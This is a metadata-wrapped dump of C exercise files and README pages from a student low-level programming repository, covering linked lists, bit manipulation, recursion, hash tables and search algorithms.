of all int contained in a list\n * @head: List to sum\n *\n * Return: Sum of list\n */\nint sum_listint(listint_t *head)\n{\n\tint sum = 0;\n\tlistint_t *tmp = head;\n\n\tif (head == NULL)\n\t\treturn (sum);\n\tfor (; tmp; tmp = tmp->next)\n\t\tsum += tmp->n;\n\treturn (sum);\n}\n" }, { "alpha_fraction": 0.41261497139930725, "alphanum_fraction": 0.4428383708000183, "avg_line_length": 15.911110877990723, "blob_id": "bb997357f629cb740feafca2d7a913533b77e0cc", "content_id": "0c230e22e3b1685da8ac768d63f5b1b6cc9320ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 761, "license_type": "no_license", "max_line_length": 48, "num_lines": 45, "path": "/0x06-pointers_arrays_strings/103-print_buffer.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n\n/**\n * print_buffer - prints size bytes of content b\n * @b: string to be printed\n * @size: number of bytes to print\n * Return: void\n */\nvoid print_buffer(char *b, int size)\n{\n\tint i, n = 0, mod;\n\n\n\tif (size <= 0)\n\t\tputchar('\\n');\n\telse\n\t{\n\t\tfor (i = 0; (i * 10) < size; i++)\n\t\t{\n\t\t\tmod = i * 10;\n\t\t\tprintf(\"%08x: \", mod);\n\t\t\tfor (n = 0; n < 10; n++)\n\t\t\t{\n\t\t\t\tif (n % 2 == 0 && n != 0)\n\t\t\t\t\tprintf(\" \");\n\t\t\t\tif (n + mod > size - 1)\n\t\t\t\t\tprintf(\" \");\n\t\t\t\telse\n\t\t\t\t\tprintf(\"%.2x\", b[n + mod]);\n\t\t\t}\n\t\t\tputchar(' ');\n\t\t\tfor (n = 0; n < 10; n++)\n\t\t\t{\n\t\t\t\tif (n + mod >= size)\n\t\t\t\t\tbreak;\n\t\t\t\tif (b[n + mod] <= 31 && b[n + mod] >= '\\0')\n\t\t\t\t\tputchar('.');\n\t\t\t\telse\n\t\t\t\t\tputchar(b[n + mod]);\n\t\t\t}\n\t\t\tputchar('\\n');\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.40378549695014954, "alphanum_fraction": 0.4637224078178406, "avg_line_length": 12.208333015441895, "blob_id": "27f69193ea8248eb0d12cfae879681e7cbbb859c", "content_id": "d6537f1670e1b4b9185a23e61a65518c6fa354db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 317, "license_type": "no_license", "max_line_length": 38, "num_lines": 24, "path": "/0x04-more_functions_nested_loops/5-more_numbers.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * more_numbers - prints 0-14 10 times\n *\n * Return: void\n */\nvoid more_numbers(void)\n{\n\tint count, i;\n\n\tfor (count = 0; count < 10; count++)\n\t{\n\t\tfor (i = 0; i <= 14; i++)\n\t\t{\n\t\t\tif (i >= 10)\n\t\t\t{\n\t\t\t\t_putchar((i / 10) + '0');\n\t\t\t}\n\t\t\t_putchar((i % 10) + '0');\n\t\t}\n\t\t_putchar('\\n');\n\t}\n}\n" }, { "alpha_fraction": 0.5701492428779602, "alphanum_fraction": 0.5940298438072205, "avg_line_length": 17.61111068725586, "blob_id": "0b4418b7c4cecf4a4b6b3f749aa3fbeec723addd", "content_id": "18b66021e574aa707aaffbaee0b9408e585bb2d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 335, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/0x14-bit_manipulation/4-clear_bit.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * clear_bit - sets a bit at an index to 0\n * @n: int to target\n * @index: bit to clear\n *\n * Return: 1 on success, -1 on failure\n */\nint clear_bit(unsigned long int *n, unsigned int index)\n{\n\tunsigned long int mask = 1;\n\n\tif (n == NULL || index > 31)\n\t\treturn (-1);\n\t*n &= ~(mask << index);\n\treturn (1);\n}\n" }, { "alpha_fraction": 0.4107883870601654, "alphanum_fraction": 0.42531120777130127, "avg_line_length": 16.214284896850586, "blob_id": "edcbaf7596a3cb00ef9588e5f848d701d83932ec", "content_id": "cd027a0e5757dd0277e2fdae62d8d4aea21c82ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 482, "license_type": "no_license", "max_line_length": 63, "num_lines": 28, "path": "/0x06-pointers_arrays_strings/6-cap_string.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * cap_string - capitalizes the first letter of every word\n *@s: string to perform action on\n * Return: string s\n */\nchar *cap_string(char *s)\n{\n\tint i = 0, n, flag = 1;\n\n\twhile (s[i])\n\t\ti++;\n\tfor (n = 0; n < i; n++)\n\t{\n\t\tif (flag == 1 && (s[n] >= 'a' && s[n] <= 'z'))\n\t\t{\n\t\t\tflag = 0;\n\t\t\ts[n] = s[n] - ('a' - 'A');\n\t\t}\n\t\telse if ((s[n] == ' ') || (s[n] == '\\n') || (s[n] == '\\t') ||\n\t\t\t (s[n] == '.'))\n\t\t\tflag = 1;\n\t\telse\n\t\t\tflag = 0;\n\t}\n\treturn (s);\n}\n" }, { "alpha_fraction": 0.5731415152549744, "alphanum_fraction": 0.577937662601471, "avg_line_length": 17.130434036254883, "blob_id": "22041a6dfa283015fc28502102dc8fe747cd72eb", "content_id": "8c556d5e8e5130128bd906ec3945599aab042d92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 417, "license_type": "no_license", "max_line_length": 56, "num_lines": 23, "path": "/0x17-doubly_linked_lists/0-print_dlistint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * print_dlistint - prints a doubly linked list\n * @h: head of the dlintint\n *\n * Return: The number of nodes\n */\nsize_t print_dlistint(const dlistint_t *h)\n{\n\tint nodes;\n\n\tif (!h)/*Null check*/\n\t\treturn (0);\n\tif (!(h->prev))/*make sure we're actually at the head*/\n\t{\n\t\tfor (; h->prev; h = h->prev)\n\t\t\t;\n\t}\n\tfor (nodes = 0; h; h = h->next, nodes++)\n\t\tprintf(\"%d\\n\", h->n);\n\treturn (nodes);\n}\n" }, { "alpha_fraction": 0.5601217746734619, "alphanum_fraction": 0.5616438388824463, "avg_line_length": 15.02439022064209, "blob_id": "9f9143d67ec9c05c3e5bfd138b162fe24be7ed8a", "content_id": "b95e351fa8db77af9c0cc2bfce7fffbe7f68b690", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 657, "license_type": "no_license", "max_line_length": 52, "num_lines": 41, "path": "/0x12-singly_linked_lists/3-add_node_end.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n#include <stdlib.h>\n#include <string.h>\n\n/**\n * add_node_end - adds a node to the end of the list\n * @head: head of the list\n * @str: string to dupe\n * Return: Address of new element or NULL\n */\nlist_t *add_node_end(list_t **head, const char *str)\n{\n\tint leng = 0;\n\tlist_t *new, *tmp;\n\n\tnew = malloc(sizeof(list_t));\n\tif (new == NULL)\n\t\treturn (new);\n\tnew->str = NULL;\n\n\tif (str)\n\t{\n\t\tfor (; str[leng]; leng++)\n\t\t\t;\n\t\tnew->str = strdup(str);\n\t\tnew->len = leng;\n\t}\n\tnew->next = NULL;\n\tif (*head == NULL)\n\t\t*head = new;\n\telse\n\t{\n\t\ttmp = *head;\n\t\tfor (; tmp->next != NULL;)\n\t\t{\n\t\t\ttmp = tmp->next;\n\t\t}\n\t\ttmp->next = new;\n\t}\n\treturn (new);\n}\n" }, { "alpha_fraction": 0.5093457698822021, "alphanum_fraction": 0.5303738117218018, "avg_line_length": 14.285714149475098, "blob_id": "945136add2a12a40f513444adc45795c88162611", "content_id": "fe340cb78278026c835e88d38e030984cd90cc93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 428, "license_type": "no_license", "max_line_length": 55, "num_lines": 28, "path": "/0x14-bit_manipulation/0-binary_to_uint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * binary_to_uint - converts a binary string to decimal\n * @b: binary string to convert\n * Return: 0 on fail, converted num otherwise\n */\nunsigned int binary_to_uint(const char *b)\n{\n\tunsigned int sum = 0;\n\n\tif (b == NULL)\n\t\treturn (0);\n\twhile (*b)\n\t{\n\t\tif (*b == '0' || *b == '1')\n\t\t{\n\t\t\tif (sum != 0)\n\t\t\t\tsum <<= 1;\n\t\t\tif (*b == '1')\n\t\t\t\tsum++;\n\t\t}\n\t\telse\n\t\t\treturn (0);\n\t\tb++;\n\t}\n\treturn (sum);\n}\n" }, { "alpha_fraction": 0.6992084383964539, "alphanum_fraction": 0.7475813627243042, "avg_line_length": 42.769229888916016, "blob_id": "957b16f6798f0b1163100e73ebdc1bc51452b87d", "content_id": "a32f843ca994a1d16c6f1b517cda67c2a5280475", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1137, "license_type": "no_license", "max_line_length": 109, "num_lines": 26, "path": "/0x04-more_functions_nested_loops/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x04 C - More functions, more nested loops\n\n## About / synopsis\nRepo goes more in depth with challenges seen in 0x02. With a few exceptions, standard library is not allowed.\n\n## Built With\n\n* [c] - Betty style formatting\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0-isupper.c|When provided an integer, checks if it is the ascii value of an uppercase character.|\n|1-isdigit.c|When provided an integer, checks if it is 0-9|\n|2-mul.c|multiplies two integers|\n|3-print_numbers.c|prints 0-9 followed by a newline|\n|4-print_most_numbers.c|prints 0-9 skipping 2 and 4|\n|5-more_numbers.c|prints 0-14 10 times|\n|6-print_line.c|prints user specified number of underscores to make a line|\n|7-print_diagonal.c|prints a diagonal line with '\\\\'|\n|8-print_square.c|prints an ascii art square with #|\n|9-fizz_buzz.c|prints 0-100, subbing anything divisible by 3 for fizz and 5 for buzz|\n|10-print_triangle.c|prints an ascii art triangle using #|\n|100-prime_factor|finds the largest prime factorization of 612852475143|\n|101-print_number.c|Dynamically finds the number of digits in an int and prints them using putchar|" }, { "alpha_fraction": 0.6326087117195129, "alphanum_fraction": 0.6391304135322571, "avg_line_length": 23.210525512695312, "blob_id": "106c431053ef0fdb933d4f32674880e20af13d34", "content_id": "e7fd6c5edc117e39da9d9907fb13b8fb3a22e848", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 460, "license_type": "no_license", "max_line_length": 67, "num_lines": 19, "path": "/0x0F-function_pointers/1-array_iterator.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"function_pointers.h\"\n\n/**\n * array_iterator - calls function *action on all elements of array\n * @array: array of elements to perform an action on\n * @size: size of array\n * @action: function to perform on all elements\n *\n * Return: Always 0 (ok)\n */\nvoid array_iterator(int *array, size_t size, void (*action)(int))\n{\n\tunsigned int i = 0;\n\n\tif (array == NULL || action == NULL || size == 0)\n\t\treturn;\n\tfor (; i < size; i++)\n\t\t(*action)(array[i]);\n}\n" }, { "alpha_fraction": 0.6148648858070374, "alphanum_fraction": 0.6216216087341309, "avg_line_length": 17.5, "blob_id": "dc2301920d6ee706f3c0a5b0b2f87a7d9b4a37c3", "content_id": "f80d653b63bd9ce15b423074242f2a4b79ff8240", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 592, "license_type": "no_license", "max_line_length": 63, "num_lines": 32, "path": "/0x08-recursion/5-sqrt_recursion.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\nint checker(int sqrt, int num);\n/**\n * _sqrt_recursion - returns the square root of a number\n * @n: input number\n * Return: Squrt of n\n */\nint _sqrt_recursion(int n)\n{\n\tint i = 0, sqrt;\n\n\tsqrt = checker(i, n);\n\treturn (sqrt);\n}\n/**\n * checker - checks for square root\n * @sqrt: the current square index\n * @num: number to find the square of\n *\n * Return: the square root of base, or -1 if one can't be found\n */\nint checker(int sqrt, int num)\n{\n\tif (sqrt * sqrt == num)\n\t{\n\t\treturn (sqrt);\n\t}\n\tif (sqrt * sqrt > num)\n\t\treturn (-1);\n\treturn (checker(sqrt + 1, num));\n}\n" }, { "alpha_fraction": 0.5580029487609863, "alphanum_fraction": 0.5594713687896729, "avg_line_length": 13.80434799194336, "blob_id": "2f4f12becfe8f6567810580a67da488a305d37b9", "content_id": "6dcbfdff138cb8fe0f9d290082e9b0ac03f7c821", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 681, "license_type": "no_license", "max_line_length": 42, "num_lines": 46, "path": "/0x1A-hash_tables/6-hash_table_delete.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"hash_tables.h\"\n#include <stdio.h>\n\nvoid free_node(hash_node_t *node);\n/**\n * hash_table_delete - frees a hash table.\n * @ht: the hash table\n *\n * Return: void\n */\nvoid hash_table_delete(hash_table_t *ht)\n{\n\tunsigned long int i;\n\thash_node_t **run, *tmp, *curr;\n\n\tif (!ht)\n\t\treturn;\n\trun = ht->array;\n\tfor (i = 0; i < ht->size; i++)\n\t{\n\t\tif (run[i])\n\t\t{\n\t\t\tfor (tmp = run[i]; tmp != NULL;)\n\t\t\t{\n\t\t\t\tcurr = tmp;\n\t\t\t\ttmp = tmp->next;\n\t\t\t\tfree_node(curr);\n\t\t\t}\n\t\t}\n\t}\n\tfree(ht->array);\n\tfree((void *)ht);\n}\n\n/**\n * free_node - frees a node\n * @node: node to free\n *\n * Return: void\n */\nvoid free_node(hash_node_t *node)\n{\n\tfree(node->key);\n\tfree(node->value);\n\tfree(node);\n}\n" }, { "alpha_fraction": 0.5402684807777405, "alphanum_fraction": 0.5503355860710144, "avg_line_length": 11.956521987915039, "blob_id": "8aed9e606ae7446fc2f99432586c67846c728911", "content_id": "ea686356d816b3e7eaef1f64cb986752ff5cd3e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 298, "license_type": "no_license", "max_line_length": 38, "num_lines": 23, "path": "/0x13-more_singly_linked_lists/5-free_listint2.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * free_listint2 - frees a linked list\n * @head: list to free\n * Return: Always 0 (ok)\n */\nvoid free_listint2(listint_t **head)\n{\n\tlistint_t *tmp;\n\n\tif (head)\n\t{\n\t\ttmp = *head;\n\t\twhile (*head)\n\t\t{\n\t\t\ttmp = *head;\n\t\t\t*head = tmp->next;\n\t\t\tfree(tmp);\n\t\t}\n\t\t*head = NULL;\n\t}\n}\n" }, { "alpha_fraction": 0.4111776351928711, "alphanum_fraction": 0.45309382677078247, "avg_line_length": 12.916666984558105, "blob_id": "b3dd37e2972e5bdf408d62e187323401cad991ee", "content_id": "7965016e71b663c30af5fd7eff80742ce36e5083", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 501, "license_type": "no_license", "max_line_length": 35, "num_lines": 36, "path": "/0x04-more_functions_nested_loops/101-print_number.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n/**\n * print_number - prints an integer\n *@n: integer to be printed\n * Return: Always 0 (ok)\n */\nvoid print_number(int n)\n{\n\tint i = 0, j = n, k;\n\tunsigned int x = 10;\n\tunsigned int neg = -n;\n\n\tfor (; j; i++)\n\t{\n\t\tj = j / 10;\n\t}\n\tif (n < 0)\n\t{\n\t\t_putchar('-');\n\t\tn = neg;\n\t}\n\tif ((n < 10) && (n > -10))\n\t{\n\t\t_putchar(n + '0');\n\t\treturn;\n\t}\n\tk = i;\n\tfor (; k - 2; k--)\n\t\tx = x * 10;\n\tfor (; i != 0; i--)\n\t{\n\t\t_putchar(((n / x) % 10) + '0');\n\t\tx = x / 10;\n\t}\n}\n" }, { "alpha_fraction": 0.5386064052581787, "alphanum_fraction": 0.561205267906189, "avg_line_length": 19.037734985351562, "blob_id": "b0b98b46e3c95e6e0568233a85e5679f9b588061", "content_id": "57fc0617ddb0428abefc14928b85408855e7f346", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1062, "license_type": "no_license", "max_line_length": 62, "num_lines": 53, "path": "/0x1E-search_algorithms/1-binary.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"search_algos.h\"\n\n/**\n * print_array - prints an array\n * @array: array to print\n * @i1: start index\n * @i2: end index\n *\n * Return: size of sub array\n */\nint print_array(int *array, size_t i1, size_t i2)\n{\n\tsize_t i;\n\n\tprintf(\"Searching in array: %d\", (int)array[i1]);\n\tfor (i = i1 + 1; i < i2; i++)\n\t\tprintf(\", %d\", array[i]);\n\tprintf(\"\\n\");\n\treturn (i2 - i1);\n}\n/**\n * binary_search - searches for a value in a sorted array\n * @array: pointer to the first element of the array\n * @size: the number of elements in array\n * @value: the value to search for\n *\n * Return: the index where value is located\n */\nint binary_search(int *array, size_t size, int value)\n{\n\tsize_t i, end = size, start = 0;\n\n\tif (size == 0 || array == NULL)\n\t\treturn (-1);\n\tfor (i = (size - 1) / 2; print_array(array, start, end) > 1;)\n\t{\n\t\tif (array[i] == value)\n\t\t\treturn (i);\n\t\telse if (array[i] > value)\n\t\t{\n\t\t\tend = i;\n\t\t\ti = (i - 1) / 2;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstart = i + 1;\n\t\t\ti = i + ((end - i) / 2);\n\t\t}\n\t}\n\tif (size == 1 && array[0] == value)\n\t\treturn (0);\n\treturn (-1);\n}\n" }, { "alpha_fraction": 0.5645471811294556, "alphanum_fraction": 0.5684008002281189, "avg_line_length": 14.727272987365723, "blob_id": "5fbb155487e87650ffd990e2cef4fd6d745d8673", "content_id": "b1a30e8b2cfe99fece73bfb9d03bcf2cf5f01f11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 519, "license_type": "no_license", "max_line_length": 64, "num_lines": 33, "path": "/0x13-more_singly_linked_lists/103-find_loop.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n#include <stdio.h>\n\n/**\n * find_listint_loop - prints a listint_t list, even if it loops\n * @head: list to print\n *\n * Return: Address of node where loop starts\n */\nlistint_t *find_listint_loop(listint_t *head)\n{\n\tlistint_t *curr, *check;\n\tsize_t i = 0, j;\n\n\tif (head == NULL)\n\t\treturn (NULL);\n\tcurr = head;\n\twhile (curr)\n\t{\n\t\tcheck = head;\n\t\tfor (j = 0; j < i; j++)\n\t\t{\n\t\t\tif (check == curr)\n\t\t\t{\n\t\t\t\treturn (check);\n\t\t\t}\n\t\t\tcheck = check->next;\n\t\t}\n\t\tcurr = curr->next;\n\t\ti++;\n\t}\n\treturn (NULL);\n}\n" }, { "alpha_fraction": 0.6180555820465088, "alphanum_fraction": 0.6180555820465088, "avg_line_length": 18.200000762939453, "blob_id": "afa62e675cab359d9e3cf9f8866697f339dfb34d", "content_id": "1fac0cb448c26a54372b3727cf5f31d465c87a80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 288, "license_type": "no_license", "max_line_length": 65, "num_lines": 15, "path": "/0x0F-function_pointers/0-print_name.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"function_pointers.h\"\n\n/**\n * print_name - Calls a printf function provided using name *name\n * @name: name to print\n * @f: pointer to print function\n *\n * Return: void\n */\nvoid print_name(char *name, void (*f)(char *))\n{\n\tif (name == NULL || f == NULL)\n\t\treturn;\n\t(*f)(name);\n}\n" }, { "alpha_fraction": 0.5456790328025818, "alphanum_fraction": 0.585185170173645, "avg_line_length": 15.199999809265137, "blob_id": "cc628110b13fbeebd93c28867b23693ef16a089c", "content_id": "c52fcf496a5af6822c622b950df86a522fcaf4c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 405, "license_type": "no_license", "max_line_length": 73, "num_lines": 25, "path": "/0x02-functions_nested_loops/103-fibonacci.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - prints the sum of all fibonacci numbers not exceeding 4 million\n *\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tunsigned long crnt = 2;\n\tunsigned long lst = 1;\n\tunsigned long tmp;\n\tunsigned long sum = 2;\n\n\tfor (crnt = 2; crnt < 4000000;)\n\t{\n\t\ttmp = crnt + lst;\n\t\tlst = crnt;\n\t\tcrnt = tmp;\n\t\tif ((crnt % 2) == 0)\n\t\t\tsum += crnt;\n\t}\n\tprintf(\"%lu\\n\", sum);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5832241177558899, "alphanum_fraction": 0.5884665846824646, "avg_line_length": 23.612903594970703, "blob_id": "9faf699516840d15ae6cdb48b9e7a8ccd02ad153", "content_id": "7839657ce5575a5e3aa5f330b5e73a433d3140fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1526, "license_type": "no_license", "max_line_length": 67, "num_lines": 62, "path": "/0x1E-search_algorithms/100-jump.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"search_algos.h\"\n#include <math.h>\n\n/**\n * linear - searches for a value in a sorted array of integers\n * @array: array to be searched\n * @start: Starting index\n * @end: ending index\n * @value: value to be searched for\n *\n * Return: index of number, or -1\n */\nint linear(int *array, size_t start, size_t end, int value)\n{\n\tsize_t i;\n\n\tfor (i = start; i <= end; i++)\n\t{\n\t\tprintf(\"Value checked array[%d] = [%d]\\n\", (int)i, array[i]);\n\t\tif (array[i] == value)\n\t\t\treturn (i);\n\t}\n\treturn (-1);\n}\n/**\n * jump_search - searches for a value in a sorted array of integers\n * @array: pointer to the first element of the array to search\n * @size: number of elements in arraynumber of elements in array\n * @value: value to search for\n *\n * Return: first index where value is located, or -1 on failure\n */\nint jump_search(int *array, size_t size, int value)\n{\n\tsize_t jump, start, i;\n\n\tif (array == NULL || size == 0)\n\t\treturn (-1);\n\tjump = sqrt(size);\n\tfor (i = start = 0; i < size; i += jump)\n\t{\n\t\tif (array[i] >= value)\n\t\t{\n\t\t\tprintf(\"Value found between indexes [%d] and [%d]\\n\",\n\t\t\t (int)start, (int)i);\n\t\t\treturn (linear(array, start, i, value));\n\t\t}\n\t\telse if (i + jump >= size)\n\t\t{\n\t\t\tprintf(\"Value checked array[%d] = [%d]\\n\", (int)i,\n\t\t\t array[i]);\n\t\t\tprintf(\"Value found between indexes [%d] and [%d]\\n\",\n\t\t\t (int)i, (int)(i + jump));\n\t\t\treturn (linear(array, i, size - 1, value));\n\t\t}\n\t\telse\n\t\t\tprintf(\"Value checked array[%d] = [%d]\\n\", (int)i,\n\t\t\t array[i]);\n\t\tstart = i;\n\t}\n\treturn (-1);\n}\n" }, { "alpha_fraction": 0.6327433586120605, "alphanum_fraction": 0.6327433586120605, "avg_line_length": 21.600000381469727, "blob_id": "998e8e43416cc156a4e8fb6cd51d437ae7cda6e3", "content_id": "baa358d8eeebb8600928d8267195687dd87aff23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 678, "license_type": "no_license", "max_line_length": 76, "num_lines": 30, "path": "/0x1A-hash_tables/4-hash_table_get.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"hash_tables.h\"\n#include <string.h>\n#include <stdio.h>\n\n/**\n * hash_table_get - retrieves a value associated with a key.\n * @ht: the hash table you want to look into\n * @key: the key you are looking for\n *\n * Return: the value associated with the element, or NULL if key isn't found\n */\nchar *hash_table_get(const hash_table_t *ht, const char *key)\n{\n\tunsigned long int k;\n\thash_node_t **tmp, *check;\n\n\tif (!ht || !key)\n\t\treturn (NULL);\n\n\tk = key_index((unsigned char *)key, ht->size);\n\ttmp = ht->array;\n\n\tif (tmp[k] != NULL)\n\t{\n\t\tfor (check = tmp[k]; check != NULL; check = check->next)\n\t\t\tif (!strcmp(key, check->key))\n\t\t\t\treturn (check->value);\n\t}\n\treturn (NULL);\n}\n" }, { "alpha_fraction": 0.5771276354789734, "alphanum_fraction": 0.5984042286872864, "avg_line_length": 17.799999237060547, "blob_id": "42403f34b5e0378702ec1b01997a371a830295c6", "content_id": "06361107c265feabf4f00f2aa38933cb6393a452", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 376, "license_type": "no_license", "max_line_length": 53, "num_lines": 20, "path": "/0x14-bit_manipulation/3-set_bit.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * set_bit - sets a bit at index of *n to 1\n * @n: pointer to int to change bit of\n * @index: index to shift\n *\n * Return: 1 on success -1 on failure\n */\nint set_bit(unsigned long int *n, unsigned int index)\n{\n\tunsigned long int mask = 1;\n\n\tif (n == NULL || index > 31)\n\t\treturn (-1);\n\tmask <<= index;\n\tmask = mask | *n;\n\t*n = mask;\n\treturn (1);\n}\n" }, { "alpha_fraction": 0.44312795996665955, "alphanum_fraction": 0.5675355195999146, "avg_line_length": 16.957447052001953, "blob_id": "113de23a0abc4230615c7b3837fd4470c2f8ee44", "content_id": "26dfbcabf48b60373659388a7565074cd5451bfc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 844, "license_type": "no_license", "max_line_length": 70, "num_lines": 47, "path": "/0x02-functions_nested_loops/104-fibonacci.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints the first 98 fibonacci numbers, starting with 1 and 2\n *\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tunsigned long fib1 = 1;\n\tunsigned long fib2 = 2;\n\tunsigned long tmp = 3;\n\tunsigned long fib1a, fib1b, fib2a, fib2b, tmp2;\n\tint i;\n\n\tprintf(\"%lu, %lu, \", fib1, fib2);\n\tfor (i = 0; i < 90; i++)\n\t{\n\t\ttmp = fib1 + fib2;\n\t\tfib1 = fib2;\n\t\tfib2 = tmp;\n\t\tprintf(\"%lu, \", fib2);\n\t}\n\tfib1a = fib1 / 1000000;\n\tfib1b = fib1 % 1000000;\n\tfib2a = fib2 / 1000000;\n\tfib2b = fib2 % 1000000;\n\tfor (; i <= 95; i++)\n\t{\n\t\ttmp = fib1a + fib2a;\n\t\ttmp2 = fib1b + fib2b;\n\t\tfib1a = fib2a;\n\t\tfib1b = fib2b;\n\t\tfib2a = tmp;\n\t\tfib2b = tmp2;\n\t\tif (fib2b > 1000000)\n\t\t{\n\t\t\tfib2b = fib2b % 1000000;\n\t\t\tfib2a++;\n\t\t}\n\t\tif (i != 95)\n\t\t\tprintf(\"%lu%06lu, \", fib2a, fib2b);\n\t\telse\n\t\t\tprintf(\"%lu%06lu\\n\", fib2a, fib2b);\n\t}\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.7623417973518372, "alphanum_fraction": 0.7886075973510742, "avg_line_length": 70.81818389892578, "blob_id": "9ce37257eca594541b06fdcf4167033479545c5c", "content_id": "1c8b59b4aa3098e626f63f370f6a87e7883abbdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3160, "license_type": "no_license", "max_line_length": 277, "num_lines": 44, "path": "/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# Low-Level Programming\n\n## About / synopsis\nThis repo includes all (to date) holberton school repositories utilizing low level languages in programming, namely C. Bash and blog posts are occasionally used.\n\n## Built With\n\n* [c] - Betty-style formatting\n* [BASH] - Mainly one-line scripts\n* [Blog posts] - Links in repo readme, mainly on Linkedin\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0x00: C-Hello, World|Introduction to GCC, Betty formatting, basic C functions|\n|0x01: C-Variables, if, else, while|Introduction to conditional statements, variables, loops|\n|0x02: C-Functions, nested loops|First exposure to code outside main functions, goes more in depth on nesting|\n|0x03: C-Debugging|Debugging exercises using provided source code|\n|0x04: C-More functions, more nested loops|More in depth/challenging tasks using nesting and loops|\n|0x05: C-Pointers, arrays, and strings|Introduction to pointers, including arrays and strings|\n|0x06: C-More pointers, arrays, and strings|Goes more in depth, manipulating pointers with other pointers|\n|0x07: C-Even more pointers, arrays, and strings|First exposure to double pointers, goes more in depth on how pointers are displayed and stored in memory|\n|0x08: C-Recursion|Introduction to using recursion in place of loops|\n|0x09: C-Static Libraries|Introduction to the creation and uses of static libraries|\n|0x0A: C-argc, argv|Introduction to sending arguments to main function|\n|0x0B: malloc, free|Introduction to the usage of malloc and free|\n|0x0C: More malloc, free|More in-depth usage of malloc, including recreations of calloc and realloc|\n|0x0D: Preprocessor|A look at various ways to utilize the preprocesor, namely object-like and function-like macros, as well as a bit of preprocessor abuse|\n|0x0E: Structures, typedef|Introduction into the creation and utilization of structures, and how to declare a type using typedef|\n|0x0F: Function Pointers|First look at pointers that contain the address of a function|\n|0x10: Variadic Functions|Introduction to functions using a variable number of arguments. Precursor to the [printf](https://github.com/MenacingManatee/printf) project|\n|0x12: Singly Linked Lists|Introduction to the singly linked list 